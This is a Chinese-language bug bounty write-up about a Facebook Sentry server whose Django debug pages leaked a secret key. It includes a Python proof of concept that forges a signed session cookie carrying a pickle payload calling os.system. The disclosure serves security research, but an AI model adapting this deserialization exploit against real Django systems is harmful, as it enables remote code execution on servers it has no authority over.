*本文中涉及到的相关漏洞已报送厂商并得到修复，本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。

最近，我在参与一些漏洞众测项目，本文中我就来分享一个我发现的Facebook某服务器漏洞，该漏洞获得Facebook官方$5000美金奖励。

端倪

在我前期对Facebook网段199.201.65.0/24进行探测时发现，其中在IP 199.201.65.36 上部署有Sentry服务，其主机名为sentryagreements.thefacebook.com。Sentry是基于Python语言和Django架构的，一种Web形式的日志收集应用。

发现

在对该Web应用进行分析过程中，页面上经常有一些莫名其妙的堆栈跟踪行为（stacktrace）跳出来。并且其用户密码重置功能貌似非常不稳定，老是会崩溃。如果在不关闭Django调试模式的情况下，当发生堆栈跟踪行为时，页面上就会打印显示出整个运行环境，好在其中不包括密码、密钥或key等敏感信息。

但是，在认真查看堆栈跟踪方法时，一些环境变量值看似很有意思，比如：

SESSION_COOKIE_NAME的名称是sentrysid

SESSION_SERIALIZER对应的调用方法是django.contrib.sessions.serializers.PickleSerializer

SESSION_ENGINE对应的调用方法是django.contrib.sessions.backends.signed_cookies

SENTRY_OPTIONS值中包含了一个Sentry服务的配置信息列表

在Python中，Pickle模块是对Python对象结构进行二进制序列化和反序列化的协议实现，就是把Python数据变成流的形式，就像其中的类和方法一样。可以查看此文，了解Pickle的运行机制和安全实现。

假设一下，如果我们可以伪造包含任意Pickle内容的会话，那么就能在系统中间接执行命令了。但是，Django框架中用来验证会话cookie的SECRET_KEY，在堆栈跟踪行为中是不存在的。咦，怎么在SENTRY_OPTIONS中的Sentry配置信息列表中包含了一个名为system.secret-key的键值！这个键值是未被Django框架过滤掉的。

然后，我又把Sentry 应用的说明文档翻了一遍，发现system.secret-key是”一个用于会话验证的安全密钥，如果该密钥受到破坏或窃取，则需要对它重新生成，否则用户会话存在被劫持的可能。哇，如果这样，那是不是存在Django的SECRET-KEY重写漏洞了呢？

漏洞测试

由于要伪造包含任意Pickle内容的会话，所以我写了一个小脚本，用来向我的sentrysid cookie中添加了一个Payload执行载荷。

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()
print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

这就是一个简单的PoC代码，它首先会获取当前的sentrysid cookie，然后在反序列化时，用任意对象内容以os.system(“sleep 30”) 挂起方法来把sentrysid cookie进行替换。

当系统使用了这个被替换的sentrysid cookie之后，页面实际上会增加30秒的延迟响应。当然，如果会出现这种情况，也就证明漏洞的存在。

最终，Facebook承认了该漏洞的有效性，之后，把这个sentryagreements.thefacebook.com系统下线，并告知我漏洞补丁已经在着手开发。

漏洞上报进程

2018.7.30  00:00  漏洞初报

2018.7.30  15:25   Facebook进行漏洞分类并将Sentry服务系统下线

2018.8.9    18:10   补丁修复

2018.8.9    20:10  Facebook向我奖励了$5000美金，并告知我这个Sentry服务器位于一个单独的VLAN中，其中未包含特定的用户数据。

*参考来源：scrt，clouds编译，转载请注明来自FreeBuf.COM